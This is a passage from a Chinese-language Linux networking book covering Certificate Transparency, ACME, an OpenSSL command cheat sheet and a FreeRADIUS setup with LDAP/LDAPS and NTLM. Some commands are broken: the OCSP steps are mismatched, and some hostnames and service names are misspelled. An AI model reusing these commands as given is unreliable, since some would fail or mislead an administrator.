话虽如此,您究竟如何检查 CT 呢?让我们使用crt.sh上的服务器,并搜索颁发给example.com的证书。要做到这一点,请浏览crt.sh/?q=example.com(如果您感兴趣,也可以使用您的公司域名)。

请注意,因为这是一个完整的审计跟踪,这些证书通常会回溯到 2013-2014 年 CT 仍处于实验阶段的时候!这可以成为一个很好的侦察工具,可以帮助您找到已过期证书或现在受到通配符证书保护的主机。旧的*.example.com(或*.yourorganisation.com)。这些证书旨在保护指定父域下的任何主机(由*指示)。使用通配符的风险在于,如果适当的材料被盗,可能来自一个脆弱的服务器,域中的任何或所有主机都可以被冒充——这当然是灾难性的!另一方面,购买了三到五个单独的证书之后,将它们全部合并为一个通配符证书变得具有成本效益,而且更重要的是,只有一个到期日期需要跟踪。一个附带的好处是使用通配符证书意味着使用 CT 进行侦察对攻击者来说变得不那么有效。然而,防御者仍然可以看到欺诈证书,或者其他部门购买并正在使用的证书。

在本章中,我们涵盖了很多内容。现在我们对现代基础设施中证书的位置有了牢固的掌握,让我们探讨如何使用现代应用程序和协议来自动化整个证书过程。

证书自动化和 ACME 协议

近年来,CA 的自动化得到了一些严重的推广。特别是 Let's Encrypt 通过提供免费的公共证书服务推动了这一变化。他们通过使用自动化,特别是使用 ACME 协议(RFC 8737/RFC 8555)和 Certbot 服务来验证 CSR 信息,以及颁发和交付证书,降低了这项服务的成本。在很大程度上,这项服务和协议侧重于为 Web 服务器提供自动化证书,但正在扩展到其他用例。

Smallstep 等实现使用 ACME 协议来自动化和颁发证书请求,已将这一概念扩展到包括以下内容:

  • 使用身份令牌进行身份验证的开放授权(OAuth)/OpenID Connect(OIDC)配置,允许 G Suite、Okta、Azure Active Directory(Azure AD)和任何其他 OAuth 提供商进行单点登录(SSO)集成

  • 使用来自 Amazon Web Services(AWS)、Google Cloud Platform(GCP)或 Azure 的 API 进行 API 配置

  • JavaScript 对象表示法(JSON)Web 密钥JWK)和JSON Web 令牌JWT)集成,允许一次性令牌用于身份验证或利用后续证书颁发

由于使用 ACME 协议颁发的证书通常是免费的,它们也是恶意行为者的主要目标。例如,恶意软件经常利用 Let's Encrypt 提供的免费证书来加密命令和控制C2)操作或数据外泄。即使对于 Smallstep 等内部 ACME 服务器,对细节的疏忽也可能意味着恶意行为者能够破坏组织中的所有加密。因此,基于 ACME 的服务器通常只颁发短期证书,并且自动化将通过完全消除增加的管理开销来“弥补不足”。Let's Encrypt 是使用 ACME 的最知名的公共 CA,其证书有效期为 90 天。Smallstep 则采取极端措施,默认证书有效期为 24 小时。请注意,24 小时的到期时间是极端的,这可能会严重影响可能每天不在内部网络上的移动工作站,因此通常会设置更长的间隔。

在 ACME 之前,简单证书注册协议SCEP)用于自动化,特别是用于提供机器证书。SCEP 仍然广泛用于移动设备管理MDM)产品,以向移动电话和其他移动设备提供企业证书。SCEP 在 Microsoft 的网络设备注册服务NDES)组件中仍然被广泛使用,在其基于Active DirectoryAD)的证书服务中也是如此。

说到微软,他们的免费证书服务会自动注册工作站和用户证书,都受到组策略控制。这意味着随着工作站和用户自动化身份验证要求的增加,微软 CA 服务的使用似乎也在增加。

基于 Linux 的 CA 服务的整体趋势是尽可能自动化证书的颁发。然而,底层的证书原则与本章讨论的完全相同。随着这一趋势中的赢家开始出现,您应该掌握工具,以了解在您的环境中任何 CA 应该如何工作,无论使用的是前端还是自动化方法。

随着自动化的完成,我们已经涵盖了您在现代基础设施中看到的主要证书操作和配置。然而,在结束这个话题之前,通常有一个简短的“食谱式”命令集是很有用的,用于证书操作。由于 OpenSSL 是我们的主要工具,我们已经整理了一份常见命令的列表,希望这些命令能够使这些复杂的操作更简单完成。

OpenSSL 备忘单

要开始本节,让我说一下,这涵盖了本章中使用的命令,以及您可能在检查、请求和颁发证书时使用的许多命令。还演示了一些远程调试命令。OpenSSL 有数百个选项,因此像往常一样,man 页面是您更全面地探索其功能的朋友。在紧要关头,如果您搜索OpenSSL cheat sheet,您会发现数百页显示常见 OpenSSL 命令的页面。

以下是在证书创建中常见的一些步骤和命令:

  • 要为新证书(申请人)创建私钥,请运行以下命令:
openssl genrsa -des3 -out private.key <bits>
  • 要为新证书(申请人)创建 CSR,请运行以下命令:
openssl req -new -key private.key -out server.csr
  • 要验证 CSR 签名,请运行以下命令:
openssl req -in example.csr -verify
  • 要检查 CSR 内容,请运行以下命令:
openssl req -in server.csr -noout -text
  • 要签署 CSR(在 CA 服务器上),请运行以下命令:
sudo openssl ca -in server.csr -config <path to configuration file>
  • 创建自签名证书(通常不是最佳做法),运行以下命令:
openssl req -x509 -sha256 -nodes -days <days>  -newkey rsa:2048 -keyout privateKey.key -out certificate.crt

以下是在检查证书状态时使用的一些命令:

  • 要检查标准的x.509证书文件,请运行以下命令:
openssl x509 -in certificate.crt -text –noout
  • 要检查PKCS#12文件(这将证书和私钥合并为一个文件,通常带有pfxp12后缀),运行以下命令:
openssl pkcs12 -info -in certpluskey.pfx
  • 要检查私钥,请运行以下命令:
openssl rsa -check -in example.key

以下是远程调试证书中常用的一些命令:

  • 要检查远程服务器上的证书,请运行以下命令:
openssl s_client -connect <servername_or_ip>:443
  • 使用 OCSP 协议检查证书吊销状态(请注意,这是一个过程,因此我们已编号了步骤),请按以下步骤进行:
  1. 首先,收集公共证书并去除BEGINEND行,如下所示:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > publiccert.pem
  1. 接下来,检查证书中是否有 OCSP统一资源标识符URI),如下所示:
openssl x509 -noout -ocsp_uri -in publiccert.pem http://ocsp.ca-ocspuri.com
  1. 如果有,您可以在此时发出请求,如下所示:
http://ocsp.ca-ocspuri.com is the URI of the issuing CA's OCSP server (previously found).
  1. 如果公共证书中没有 URI,我们需要获取证书链(即到发行者的链),然后获取发行者的根 CA,如下所示:
openssl s_client -connect example.com443 -showcerts 2>&1 < /dev/null
  1. 这通常会产生大量输出-要提取证书链到文件(在本例中为chain.pem),请运行以下命令:
openssl ocsp -issuer chain.pem -cert publiccert.pem -text -url http://ocsp.ca-ocspuri.com

以下是一些 OpenSSL 命令,用于在文件格式之间进行转换:

  • 要转换-----BEGIN CERTIFICATE-----
openssl x509 -outform der -in certificate.pem -out certificate.der
  • 要将 DER 文件(.crt.cer.der)转换为 PEM 文件,请运行以下命令:
openssl x509 -inform der -in certificate.cer -out certificate.pem
  • 要转换包含私钥和证书的PKCS#12文件(.pfx.p12)为 PEM 文件,请运行以下命令:
openssl pkcs12 -in keyStore.pfx -out keyStore.pem –nodes
  • OpenSLL 命令也用于将 PEM 证书文件和私钥转换为PKCS#12.pfx.p12)。

如果服务需要身份证书,但在安装过程中没有 CSR 提供私钥信息,则通常需要PKCS#12格式文件。在这种情况下,使用个人交换格式PFX)文件或公钥密码标准#12P12)文件提供所需的所有信息(私钥和公共证书)在一个文件中。示例命令如下:

openssl pkcs12 -export -out certificate.pfx -inkey privateKey.key -in certificate.crt -certfile CACert.crt

希望这本简短的“食谱”有助于揭秘证书操作,并简化阅读涉及您证书基础设施的各种文件。

总结

通过本讨论,您应该了解使用 OpenSSL 安装和配置证书服务器的基础知识。您还应该了解请求证书和签署证书所需的基本概念。不同 CA 实现中的基本概念和工具保持不变。您还应该了解用于检查证书材料或在远程服务器上调试证书的基本 OpenSSL 命令。

您还应该进一步了解保护您的证书基础设施所涉及的因素。这包括使用 CT 进行库存和侦察,无论是防御性还是进攻性。

第九章Linux 的 RADIUS 服务,我们将在此基础上添加 RADIUS 认证服务到我们的 Linux 主机。您将看到在更高级的配置中,RADIUS 可以使用您的证书基础设施来保护您的无线网络,证书将用于双向认证和加密。

问题

最后,这里是一些问题列表,供您测试对本章材料的了解。您将在附录评估部分找到答案:

  1. 证书在通信中发挥了哪两个功能?

  2. 什么是PKCS#12格式,它可能在哪里使用?

  3. CT 为什么重要?

  4. 为什么您的 CA 服务器跟踪已发行证书的详细信息很重要?

进一步阅读

要了解更多关于主题的信息,请参考以下材料:

Smallstep CA: smallstep.com/

Boulder CA: github.com/letsencrypt/boulder

第九章:Linux 的 RADIUS 服务

在本章中,我们将介绍远程身份验证拨入用户服务(RADIUS),这是在网络上验证服务的主要方法之一。我们将在服务器上实现 FreeRADIUS,将其链接到后端轻量级目录访问协议(LDAP)/安全 LDAP(LDAPS)目录,并使用它来验证对网络上各种服务的访问。

特别是,我们将涵盖以下主题:

  • RADIUS 基础知识-什么是 RADIUS,它是如何工作的?

  • 使用本地 Linux 认证实现 RADIUS

  • 具有 LDAP/LDAPS 后端认证的 RADIUS

  • Unlang-非语言

  • RADIUS 使用案例场景

  • 使用 Google Authenticator 进行 RADIUS 的多因素认证(MFA)

技术要求

为了跟随本节中的示例,我们将使用我们现有的 Ubuntu 主机或虚拟机(VM)。在本章中,我们将涉及一些无线主题,因此,如果您的主机或虚拟机中没有无线网卡,您将需要一个无线适配器来完成这些示例。

当我们逐步进行各种示例时,我们将编辑多个配置文件。如果没有特别提到,freeradius的配置文件都存储在/etc/freeradius/3.0/目录中。

对于 Ubuntu 默认未包含的我们正在安装的软件包,请确保您有可用的互联网连接,以便您可以使用apt命令进行安装。

RADIUS 基础知识-什么是 RADIUS,它是如何工作的?

在我们开始之前,让我们回顾一个关键概念-AAA。AAA 是一个常见的行业术语,代表认证、授权和计费-这是控制资源访问的三个关键概念。

认证是证明您身份所需的一切。在许多情况下,这只涉及用户标识符(ID)和密码,但在本章中,我们还将探讨使用 MFA 的更复杂的方法。

授权通常发生在认证之后。一旦您证明了您的身份,各种系统将使用该身份信息来确定您可以访问什么。这可能意味着您可以访问哪些子网、主机和服务,或者可能涉及您可以访问哪些文件或目录。在常规语言中,认证和授权经常可以互换使用,但在讨论 RADIUS 和系统访问时,它们是完全不同的。

计费有点像回到拨号上网的日子。当人们使用拨号调制解调器访问公司系统或互联网时,他们在会话期间占用了宝贵的资源(即接收调制解调器和电路),因此 RADIUS 用于跟踪他们的会话时间和持续时间,以便进行月度发票。在现代,RADIUS 计费仍然用于跟踪会话时间和持续时间,但这些信息现在更多用于故障排除,有时也用于取证目的。

RADIUS 这些天的主要用途是用于认证,通常也配置了计费。授权通常由其他后端系统完成,尽管 RADIUS 可以用于为每个认证会话分配基于网络的访问控制列表(ACL),这是一种授权形式。

在掌握了这些背景知识之后,让我们更详细地讨论 RADIUS。RADIUS 认证协议非常简单,这使得它对许多不同的用例都很有吸引力,因此几乎所有可能需要认证的设备和服务都支持它。让我们通过一个配置以及一个典型的认证交换(在高层次上)来进行讨论。

首先,让我们讨论一个需要认证的设备,在这种情况下称为网络访问服务器NAS)。NAS 可以是虚拟私人网络VPN)设备,无线控制器或接入点,或交换机 - 实际上,任何用户可能需要认证的设备。NAS 通常由 RADIUS 服务器定义,通常具有关联的“共享密钥”以允许对设备进行身份验证。

接下来,配置设备以使用 RADIUS 进行身份验证。如果这是用于管理访问,通常会保留本地身份验证作为备用方法 - 因此,如果 RADIUS 不可用,本地身份验证仍将起作用。

这就是设备(NAS)的配置。当客户端尝试连接到 NAS 时,NAS 收集登录信息并将其转发到 RADIUS 服务器进行验证(请参阅图 9.1,其中显示了在 Wireshark 中捕获的典型 RADIUS 请求数据包)。数据包中需要注意的内容包括以下内容:

  • 用于 RADIUS 请求的端口是1812/udp。RADIUS 会计的匹配端口是1813/udp - 会计跟踪连接时间等,通常用于计费。许多 RADIUS 服务器仍然完全支持一组较旧的端口(16451646/udp)。

  • Code字段用于标识数据包类型 - 在本例中,我们将涵盖Access-Request(代码1),Accept(代码2)和Reject(代码3)。RADIUS 代码的完整列表包括以下内容:

表 9.1 - RADIUS 代码

表 9.1 - RADIUS 代码

  • Packet ID字段用于将请求和响应数据包联系在一起。由于 RADIUS 是用户数据报协议UDP)协议,协议级别上没有会话的概念 - 这必须在数据包的有效负载中。

  • Authenticator字段对于每个数据包是唯一的,应该是随机生成的。

  • 数据包的其余部分由数据包中的AVP组成。这使得协议具有可扩展性;NAS 和 RADIUS 服务器都可以根据情况添加 AV 对。所有实现通常都支持几个 AV 对,以及几个特定于供应商的 AV 对,通常与 NAS 供应商和特定情况相关联 - 例如,区分对设备的管理访问和对 VPN 或无线服务集 IDSSID)的用户访问。我们将在本章后面探讨更多用例时更深入地讨论这一点。

在以下简单示例中,我们的两个属性是User-Name AV 对,它是明文的,以及User-Password AV 对,它被标记为Encrypted,但实际上是 MD5 哈希值(其中Request Authenticator值。请求评论RFC)(RFC 2865 - 请参阅进一步阅读部分)对此的计算有详细的解释,如果您对此感兴趣:

图 9.1 - 简单的 RADIUS 请求

图 9.1 - 简单的 RADIUS 请求

响应通常要简单得多,如下所述:

  • 通常要么是代码 2 Accept图 9.2),要么是代码 3 Reject图 9.3)的响应。

  • 数据包 ID 与请求中的相同。

  • 响应认证器是根据响应数据包代码(在本例中为 2),响应的长度(在本例中为 20 字节),数据包 ID(2),请求认证器和共享密钥计算出来的。回复中的其他 AV 对也将用于计算此值。该字段的关键是 NAS 将使用它来验证响应是否来自它期望的 RADIUS 服务器。这个第一个数据包示例显示了一个Access-Accept响应,其中访问请求被授予:

图 9.2 - 简单的 RADIUS 响应(Access-Accept)

图 9.2 - 简单的 RADIUS 响应(Access-Accept)

这个第二个响应数据包示例显示了一个Access-Reject数据包。所有字段都保持不变,只是访问请求被拒绝了。如果没有配置错误,通常会在用户名或密码值不正确时看到这个结果:

图 9.3-简单的 RADIUS 响应(Access-Reject)

图 9.3-简单的 RADIUS 响应(Access-Reject)

现在我们知道了简单的 RADIUS 请求是如何工作的,让我们开始构建我们的 RADIUS 服务器。

使用本地 Linux 身份验证实现 RADIUS

这个示例显示了最简单的 RADIUS 配置,其中UserIDPassword值都在配置文件中定义。由于几个原因,这不建议用于任何生产环境,详细如下:

  • 密码以明文字符串的形式存储,因此在发生妥协时,所有 RADIUS 密码都可以被恶意行为者收集。

  • 密码是由管理员输入而不是用户。这意味着“不可否认”的关键安全概念丢失了-如果事件与这样的帐户相关联,受影响的用户总是可以说“管理员也知道我的密码-一定是他们”。

  • 与管理员输入密码相关的是-用户无法更改他们的密码,这也意味着在大多数情况下,这个 RADIUS 密码将与用户使用的其他密码不同,这使得记住它更困难。

然而,这是一个方便的方法,在我们用后端身份验证存储和更复杂的 RADIUS 交换之前测试初始 RADIUS 配置。

首先,我们将安装freeradius,如下所示:

sudo apt-get install freeradius

接下来,让我们编辑client配置,定义我们的各种 NAS 设备,人们将向其发出身份验证请求。为此,使用sudo编辑/etc/freeradius/3.0/clients.conf文件。正如您所期望的那样,RADIUS 配置文件不能使用普通权限进行编辑或查看,因此对这些文件的所有访问都必须使用sudo

在这个文件的底部,我们将为每个 RADIUS 客户端设备添加一个段,其中包含其名称、IP 地址和该设备的共享密钥。请注意,最好使用一个长的、随机的字符串,对于每个设备都是唯一的。您可以很容易地编写一个快速脚本来为您生成这个-有关更多详细信息,请参见isc.sans.edu/forums/diary/How+do+you+spell+PSK/16643

在以下代码示例中,我们添加了三个交换机(每个交换机的名称都以sw开头)和一个无线控制器(VWLC01,一个虚拟无线控制器)。这里的一个关键概念是一致地命名设备。您可能需要为不同的设备类型制定不同的规则或策略;按设备类型给它们一致的名称是一个方便的概念,可以简化这一点。此外,如果设备名称标准是已知和一致的,那么简单的排序列表也会变得更简单:

client sw-core01 {
   ipaddr=192.168.122.9
   nastype = cisco
   secret = 7HdRRTP8qE9T3Mte
}
client sw-office01 {
   ipaddr=192.168.122.5
   nastype = cisco
   secret = SzMjFGX956VF85Mf
}
client sw-floor0 {
   ipaddr = 192.168.122.6
   nastype = cisco
   secret = Rb3x5QW9W6ge6nsR
}
client vwlc01 {
   ipaddr = 192.168.122.8
   nastype = cisco
   secret = uKFJjaBbk2uBytmD
}

请注意,在某些情况下,您可能需要配置整个子网-在这种情况下,客户端行可能会读取类似于这样的内容:

Client 192.168.0.0/16 {

这通常不建议,因为它会使 RADIUS 服务器对该子网上的任何内容都开放。如果可能的话,请使用固定的 IP 地址。然而,在某些情况下,您可能被迫使用子网-例如,如果您有无线接入点WAPs)直接对 RADIUS 进行无线客户端认证,使用动态主机配置协议DHCP)动态分配 IP。

还要注意nastype行-这将设备与包含该供应商的常见 AV 对的定义的dictionary文件联系起来。

接下来,让我们创建一个测试用户-使用sudo编辑/etc/freeradius/3.0/users文件,并添加一个测试帐户,就像这样:

testaccount  Cleartext-Password := "Test123"

最后,使用以下命令重新启动您的服务:

sudo service freeradius restart

现在,一些故障排除-要测试配置文件的语法,请使用以下命令:

sudo freeradius –CX

要测试身份验证操作,请验证您的 RADIUS 服务器信息是否定义为 RADIUS 客户端(默认情况下是这样),然后使用如下所示的radclient命令:

$ echo "User-Name=testaccount,User-Password=Test123" | radclient localhost:1812 auth testing123
Sent Access-Request Id 31 from 0.0.0.0:34027 to 127.0.0.1:1812 length 44
Received Access-Accept Id 31 from 127.0.0.1:1812 to 127.0.0.1:34027 length 20

完成这些测试后,建议删除本地定义的用户——这不是您应该忘记的事情,因为这可能会使攻击者稍后可以使用。现在让我们将我们的配置扩展到更典型的企业配置——我们将添加一个基于 LDAP 的后端目录。

具有 LDAP/LDAPS 后端身份验证的 RADIUS

使用诸如LDAP之类的后端身份验证存储对许多原因都很有用。由于这通常使用与常规登录相同的身份验证存储,这给我们带来了几个优势,如下所述:

  • LDAP 中的组成员资格可用于控制对关键访问的访问权限(例如管理访问)。

  • RADIUS 访问的密码与标准登录的密码相同,更容易记住。

  • 密码和密码更改由用户控制。

  • 在用户更改组时,凭证维护位于一个中央位置。特别是,如果用户离开组织,他们的帐户在 LDAP 中被禁用后,RADIUS 也会立即被禁用。

这种方法的缺点很简单:用户很难选择好的密码。这就是为什么,特别是对于面向公共互联网的任何接口,建议使用 MFA(我们稍后将在本章中介绍)。

利用这一点,如果访问仅由简单的用户/密码交换控制,攻击者有几种很好的选择来获取访问权限,如下所述:

  • 使用凭证填充:使用此方法,攻击者从其他泄漏中收集密码(这些是免费提供的),以及您可能期望在本地或公司内部看到的密码(例如本地体育队或公司产品名称),或者可能对目标帐户有重要意义的单词(例如孩子或配偶的姓名,汽车型号,街道名称或电话号码信息)。然后他们尝试所有这些针对他们的目标,通常是从企业网站或社交媒体网站(LinkedIn 是其中的一个最爱)收集的。这非常成功,因为人们往往有可预测的密码,或者在多个网站上使用相同的密码,或两者兼而有之。在任何规模的组织中,攻击者通常在这种攻击中取得成功,通常需要几分钟到一天的时间。这是如此成功,以至于它在几种恶意软件中被自动化,最著名的是从 2017 年开始的Mirai(它攻击了常见的物联网IoT)设备的管理访问),然后扩展到包括使用常见单词列表进行猜测密码的任意数量的衍生品系。

  • 凭证的强制破解:与凭证填充相同,但是使用整个密码列表对所有帐户进行攻击,以及在用尽这些单词后尝试所有字符组合。实际上,这与凭证填充相同,但在初始攻击之后“继续进行”。这显示了攻击者和防御者之间的不平衡——继续攻击对于攻击者来说基本上是免费的(或者与计算时间和带宽一样便宜),那么他们为什么不继续尝试呢?

为 LDAP 身份验证存储配置 RADIUS 很容易。虽然我们将介绍标准的 LDAP 配置,但重要的是要记住这个协议是明文的,因此是攻击者的一个很好的目标——LDAPSLDAP over Transport Layer Security (TLS))始终是首选。通常,标准的 LDAP 配置应该仅用于测试,然后再使用 LDAPS 添加加密方面。

首先,让我们使用 LDAP 作为传输协议在 RADIUS 中配置我们的后端目录。在此示例中,我们的 LDAP 目录是微软的Active DirectoryAD),但在仅 Linux 环境中,通常会有一个 Linux LDAP 目录(例如使用 OpenLDAP)。

首先,安装freeradius-ldap软件包,如下所示:

$ sudo apt-get install freeradius-ldap

在我们继续实施 LDAPS 之前,您需要收集 LDAPS 服务器使用的 CA 服务器的公共证书。将此文件收集到/usr/share/ca-certificates/extra目录中(您需要创建此目录),如下所示:

$ sudo mkdir /usr/share/ca-certificates/extra

将证书复制或移动到新目录中,如下所示:

$ sudo cp publiccert.crt /usr/share/ca-certifiates/extra

告诉 Ubuntu 将此目录添加到certs listgroups,如下所示:

$ sudo dpkg-reconfigure ca-certificates

您将被提示添加任何新证书,因此请务必选择刚刚添加的证书。如果列表中有任何您不希望看到的证书,请取消此操作并在继续之前验证这些证书是否不恶意。

接下来,我们将编辑/etc/freeradius/3.0/mods-enabled/ldap文件。这个文件不会在这里-如果需要,您可以参考/etc/freeradius/3.0/mods-available/ldap文件作为示例,或直接链接到该文件。

下面显示的配置中的server行意味着您的 RADIUS 服务器必须能够使用域名系统DNS)解析该服务器名称。

我们将使用以下行配置 LDAPS:

ldap {
        server = 'dc01.coherentsecurity.com'
        port = 636
        # Login credentials for a special user for FreeRADIUS which has the required permissions
        identity = ldapuser@coherentsecurity.com
        password = <password>
        base_dn = 'DC=coherentsecurity,DC=com'
        user {
        # Comment out the default filter which uses uid and replace that with samaccountname
                #filter = "(uid=%{%{Stripped-User-Name}:-%{User-Name}})"
                filter = "(samaccountname=%{%{Stripped-User-Name}:-%{User-Name}})"
        }
        tls {
                ca_file = /usr/share/ca-certificates/extra/publiccert.crt
        }
}

如果您被迫配置 LDAP 而不是 LDAPS,则端口更改为389,当然也没有证书,因此可以删除或注释掉ldap配置文件中的tls部分。

我们通常使用的ldapuser示例用户不需要任何特殊访问权限。但是,请确保为此帐户使用一个长度(> 16 个字符)的随机密码,因为在大多数环境中,这个密码不太可能经常更改。

接下来,我们将指导/etc/freeradius/3.0/sites-enabled/default文件的authenticate / pap部分(请注意,这是指向/etc/freeradius/3.0/sites-available中主文件的链接),如下所示:

        pap
        if (noop && User-Password) {
                update control {
                        Auth-Type := LDAP
                }
        }

此外,请确保取消注释该部分中的ldap行,如下所示:

       ldap

现在我们可以在前台运行freeradius。这将允许我们在发生时查看消息处理-特别是显示的任何错误。这意味着在进行这一系列初始测试期间,我们不必寻找错误日志。以下是您需要的代码:

$ sudo freeradius -cx

如果您需要进一步调试,可以使用以下代码将freeradius服务器作为前台应用程序运行,以实时显示默认日志记录:

$ sudo freeradius –X

最后,当一切正常工作时,通过运行以下命令重新启动您的 RADIUS 服务器以收集配置更改:

$ sudo service freeradius restart

再次,要从本地计算机测试用户登录,请执行以下代码:

$ echo "User-Name=test,User-Password=P@ssw0rd!" | radclient localhost:1812 auth testing123

最后,我们将希望启用 LDAP 启用的组支持-我们将在后面的部分(* RADIUS 使用案例场景*)中看到,我们将希望在各种策略中使用组成员资格。为此,我们将重新访问ldap文件并添加一个group部分,如下所示:

        group {
            base_dn = "${..base_dn}"
            filter = '(objectClass=Group)'
            name_attribute = cn
            membership_filter = "(|(member=%{control:${..user_dn}})(memberUid=%{%{Stripped-User-Name}:-%{User-Name}}))"
             membership_attribute = 'memberOf'
             cacheable_name = 'no'
             cacheable_dn = 'no'
        }

完成这些操作后,我们应该意识到的一件事是,LDAP 并不是用于身份验证,而是用于授权-这是一个检查组成员资格的好方法,例如。实际上,如果您在构建过程中注意到,这在配置文件中是明确指出的。

让我们解决这种情况,并使用NT LAN ManagerNTLM)作为身份验证的底层 AD 协议。

NTLM 身份验证(AD)-引入 CHAP

将 RADIUS 与 AD 链接以获取帐户信息和组成员资格,这是我们在大多数组织中看到的最常见的配置。虽然微软网络策略服务器NPS)是免费的,并且可以轻松安装在域成员 Windows 服务器上,但它没有一个简单的配置来将其链接到双因素身份验证2FA)服务,比如 Google Authenticator。这使得基于 Linux 的 RADIUS 服务器与 AD 集成成为组织需要 MFA 并在建立访问权限时利用 AD 组成员资格的吸引人选择。

这种方法的身份验证是什么样的?让我们来看看标准的挑战-握手认证协议CHAP),Microsoft CHAPMS-CHAP)或 MS-CHAPv2,它为 RADIUS 交换添加了更改密码的功能。基本的 CHAP 交换如下:

图 9.4 - 基本 CHAP 交换

图 9.4 - 基本 CHAP 交换

按顺序进行前述交换,我们可以注意到以下内容:

  • 首先,客户端发送初始的Hello,其中包括USERID(但不包括密码)。

  • CHAP Challenge从 NAS 发送。这是随机数和 RADIUS 秘钥的结果,然后使用 MD5 进行哈希处理。

  • 客户端(Supplicant)使用该值对密码进行哈希处理,然后将该值发送到响应中。

  • NAS 将该随机数和响应值发送到 RADIUS 服务器,RADIUS 服务器执行自己的计算。

  • 如果两个值匹配,则会话会收到RADIUS Access-Accept响应;如果不匹配,则会收到RADIUS Access-Reject响应。

受保护的可扩展认证协议PEAP)为此交换增加了一个额外的复杂性 - 客户端和 RADIUS 服务器之间存在 TLS 交换,这允许客户端验证服务器的身份,并使用标准 TLS 加密数据交换。为此,RADIUS 服务器需要一个证书,并且客户端需要在其受信任的 CA 存储中拥有发行 CA。

要为 FreeRADIUS 配置 AD 集成(使用 PEAP MS-CHAPv2),我们将为身份验证配置ntlm_auth,并将 LDAP 原样移动到配置的authorize部分。

要开始使用ntlm_auth,我们需要安装samba(这是SMB的玩笑,代表服务器消息块)。首先,确保它尚未安装,如下所示:

$ sudo apt list --installed | grep samba
WARNING: apt does not have a stable CLI interface. Use with caution in scripts.
samba-libs/focal-security,now 2:4.11.6+dfsg-0ubuntu1.6 amd64 [installed,upgradable to: 2:4.11.6+dfsg-0ubuntu1.8]

从此列表中,我们看到它没有安装在我们的 VM 中,所以让我们使用以下命令将其添加到我们的配置中:

 sudo apt-get install samba

还要安装以下内容:

winbind with sudo apt-get install winbind.

编辑/etc/samba/smb.conf,并根据您的域更新以下代码段中显示的行(我们的测试域已显示)。在编辑时确保使用sudo - 您需要 root 权限来修改此文件(请注意,默认情况下[homes]行可能已被注释掉):

[global]
   workgroup = COHERENTSEC
    security = ADS
    realm = COHERENTSECURITY.COM
    winbind refresh tickets = Yes
    winbind use default domain = yes
    vfs objects = acl_xattr
    map acl inherit = Yes
    store dos attributes = Yes 
    dedicated keytab file = /etc/krb5.keytab
    kerberos method = secrets and keytab
[homes]
    comment = Home Directories
    browseable = no
    writeable=yes

接下来,我们将编辑krb5.conf文件。示例文件位于/usr/share/samba/setup中 - 将该文件复制到/etc并编辑该副本。请注意,默认情况下EXAMPLE.COM条目是存在的,在大多数安装中,这些条目应该被删除(example.com是用于示例和文档的保留域)。代码如下所示:

[logging]
 default = FILE:/var/log/krb5libs.log
 kdc = FILE:/var/log/krb5kdc.log
 admin_server = FILE:/var/log/kadmind.log
[libdefaults]
 default_realm = COHERENTSECURITY.COM
 dns_lookup_realm = false
 dns_lookup_kdc = false
[realms]
 COHERENTSECURITY.COM = {
  kdc = dc01.coherentsecurity.com:88
  admin_server = dc01.coherentsecurity.com:749
  kpaswordserver = dc01.coherentsecurity.com
  default_domain = COHERENTSECURITY.COM
 }
[domain_realm]
 .coherentsecurity.com = coherentsecurity.com
[kdc]
  profile = /var/kerberos/krb5kdc/kdc.conf
[appdefaults]
 pam = {
  debug = false
  ticket_lifetime = 36000
  renew_lifetime = 36000
  forwardable = true
  krb4_convert = false
 }

编辑/etc/nsswitch.conf文件,并添加winbind关键字,如下代码段所示。请注意,在 Ubuntu 20 中,默认情况下可能没有automount行,因此您可能希望添加它:

passwd:         files systemd winbind
group:          files systemd winbind
shadow:         files winbind
protocols:      db files winbind
services:       db files winbind
netgroup:       nis winbind
automount:      files winbind

现在应该为您部分配置了 - 重新启动 Linux 主机,然后验证以下两个服务是否正在运行:

  • smbd提供文件和打印共享服务。

  • nmbd提供 NetBIOS 到 IP 地址名称服务。

此时,您可以将 Linux 主机加入 AD 域(将提示您输入密码),如下所示:

# net ads join –U Administrator

重新启动smbdwindbind守护程序,如下所示:

# systemctl restart smbd windbind

您可以使用以下代码检查状态:

$ sudo ps –e | grep smbd
$ sudo ps –e | grep nmbd

或者,要获取更多详细信息,您可以运行以下代码:

$ sudo service smbd status
$ sudo service nmbd status

现在,您应该能够列出 Windows 域中的用户和组,如下面的代码片段所示:

$ wbinfo -u
COHERENTSEC\administrator
COHERENTSEC\guest
COHERENTSEC\ldapuser
COHERENTSEC\test
….
$ wbinfo -g
COHERENTSEC\domain computers
COHERENTSEC\domain controllers
COHERENTSEC\schema admins
COHERENTSEC\enterprise admins
COHERENTSEC\cert publishers
COHERENTSEC\domain admins
…

如果这行不通,那么寻找答案的第一个地方很可能是 DNS。请记住这句古老的谚语,这里以俳句的形式表达:

不是 DNS

绝对不是 DNS

是 DNS 的问题

这太有趣了,因为这是真的。如果 DNS 配置不完美,那么各种其他事情都不会按预期工作。为了使所有这些工作正常,您的 Linux 站点将需要在 Windows DNS 服务器上解析记录。使这成为现实的最简单方法是将您站点的 DNS 服务器设置指向该 IP(如果您需要刷新nmcli命令,请参考第二章基本 Linux 网络配置和操作 – 使用本地接口)。或者,您可以在 Linux DNS 服务器上设置有条件的转发器,或者在 Linux 主机上添加 AD DNS 的辅助区域—根据您需要在您的情况下“主要”的服务,有几种可用的替代方案。

要测试 DNS 解析,请尝试按名称 ping 您的域控制器。如果成功,请尝试查找一些serviceSRV)记录(这些记录是 AD 的基础组成部分)—例如,您可以查看这个:

dig +short _ldap._tcp.coherentsecurity.com SRV
0 100 389 dc01.coherentsecurity.com.

接下来,验证您是否可以使用wbinfo进行 AD 身份验证,然后再次使用 RADIUS 使用的ntlm_auth命令,如下所示:

wbinfo -a administrator%Passw0rd!
plaintext password authentication failed
# ntlm_auth –-request-nt-key –-domain=coherentsecurity.com --username=Administrator
Password:
NT_STATUS_OK: The operation completed successfully. (0x0)

请注意,纯文本密码在wbinfo登录尝试中失败了,这(当然)是期望的情况。

通过与域的连接正常工作,我们现在可以开始配置 RADIUS 了。

我们的第一步是更新/etc/freeradius/3.0/mods-available/mschap文件,以配置一个设置来修复挑战/响应握手中的问题。您的mschap文件需要包含以下代码:

chap {
    with_ntdomain_hack = yes
}

此外,如果您在文件中向下滚动,您会看到以ntlm_auth =“开头的一行。您希望该行读起来像这样:

ntlm_auth = "/usr/bin/ntlm_auth --request-nt-key --username=%{%{Stripped-User-Name}:-%{%{User-Name}:-None}} --challenge=%{%{mschap:Challenge}:-00} --nt-response=%{%{mschap:NT-Response}:-00} --domain=%{mschap:NT-Domain}"

